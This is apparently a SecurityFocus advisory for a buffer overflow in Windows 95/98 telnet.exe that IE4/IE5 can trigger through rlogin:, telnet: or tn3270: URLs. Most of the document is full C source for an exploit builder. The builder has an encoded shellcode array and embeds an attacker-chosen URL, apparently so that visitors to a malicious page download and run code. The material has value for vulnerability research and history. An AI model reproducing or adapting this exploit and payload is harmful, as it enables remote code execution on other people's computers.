source: http://www.securityfocus.com/bid/586/info

Windows 95 and 98 systems running IE4 or specific versions of IE5 (5.00.2314.1003 and 5.00.2314.1003IC) are susceptible to a remote vulnerability that allows the execution of arbitrary code on a target that views a malicious web page. This vulnerability is due to a combination of two different weaknesses:

First, the Windows 95 and 98 telnet.exe is vulnerable to a buffer overflow condition. While preparing the Connect Failed message box, there is an unchecked input buffer of 255 characters, and sending more than that will overwrite the heap.

Second, IE5 will start an instance of telnet.exe if passed any of the following URL types: rlogin:, telnet: or tn3270:. Earlier versions of IE5 allowed only two parameters to be passed in these URLs, but the most recent ones, listed above, will allow any number of parameters to be passed, up to a total of approximately 460 bytes. This is enough for an attacker to create a URL that will start an instance of telnet on the client machine, and pass it the overrun code he or she wants executed.

The exploit runs when the telnet window is closed. 

#include <stdio.h>
#include <afx.h>
#include <windows.h>


void Usage( void ) {
  printf( "Usage: exfact url(40) outfile\n" );
}

#define URL_OFFSET 48

unsigned char aSploit[] = {
  0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33,
  0xDB, 0x3B, 0xDB, 0x74, 0x53, 0xAB, 0x88, 0xB2,
  0x97, 0xB1, 0x94, 0xF0, 0x9E, 0xB2, 0x96, 0xDE,
  0xAF, 0x8C, 0xB6, 0x9A, 0x95, 0xA9, 0x94, 0xB2,
  0x95, 0xBF, 0x9E, 0x8A, 0x95, 0x9D, 0x9B, 0xBD,
  0x92, 0xBB, 0xBC, 0xB7, 0x96, 0xBB, 0xBB, 0xDE,
  0x9C, 0xAA, 0x8A, 0xE4, 0xC8, 0xEE, 0xC9, 0xF0,
  0xC9, 0xEE, 0xD4, 0xEC, 0xCB, 0xEC, 0xD4, 0xEF,
  0xCA, 0x82, 0x9B, 0xF0, 0x9F, 0xA6, 0x9F, 0xDE,
  0x92, 0xec, 0xc0, 0x9b, 0xb2, 0x66, 0x33, 0x53,
  0xb9, 0x61, 0x35, 0xee, 0xd2, 0xae, 0xd4, 0xDE,
  0xAD, 0xB7, 0x94, 0x9B, 0x82, 0xBB, 0x99, 0xDE,
  0xB3, 0x01, 0xC1, 0xC3, 0x18, 0x8B, 0xD3, 0x8B,
  0xF3, 0x66, 0xBA, 0xC0, 0x10, 0x8B, 0x12, 0x66,
  0xBB, 0xB8, 0x10, 0x8B, 0x1B, 0x66, 0xBE, 0xC0,
  0xC2, 0x8B, 0x36, 0x8B, 0x7C, 0x24, 0x04, 0x33,
  0xC9, 0xB1, 0x2F, 0x66, 0x8B, 0x07, 0x66, 0x35,
  0xDE, 0xFA, 0x66, 0x89, 0x07, 0x83, 0xC7, 0x02,
  0xE0, 0xF1, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1,
  0x06, 0x51, 0xFF, 0xD2, 0x8B, 0x4C, 0x24, 0x04,
  0x83, 0xC1, 0x11, 0x51, 0x50, 0xFF, 0xD3, 0x8B,
  0xD3, 0x8B, 0xD8, 0x8B, 0x4C, 0x24, 0x04, 0x83,
  0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8,
  0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF,
  0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0,
  0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B,
  0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51,
  0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33,
  0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74,
  0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
  0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56,
  0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56,
};


int main( int argc, char *argv[] ) {

  if( argc == 3 ) {
    DWORD dwURLlen = strlen( argv[ 1 ] )+1;
    if( dwURLlen < 40 ) {
      HANDLE h = CreateFile(
        argv[ 2 ],
        GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        0,
        0 );

      if ( h == INVALID_HANDLE_VALUE ) {
        printf( "Error creating %s\n", argv[ 2 ] );
        return( 0 );
      }

DWORD dwWrit = 0;
      if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) ||
       ( dwWrit != URL_OFFSET ) )
        goto writeerr;

      for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 )
        *PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use htons?
      *PWORD( p ) ^= 0xdefa;

      if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) ||
        ( dwWrit != dwURLlen ) )
        goto writeerr;

      DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen );
      if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite,
        &dwWrit, NULL ) || ( dwWrit != dwToWrite ) )
        goto writeerr;

      CloseHandle( h );

      return( 0 );
    }
  }

  Usage();
  return( 1 );

writeerr:
  printf( "Error writing to %s\n", argv[ 2 ] );
  return( 2 );
}
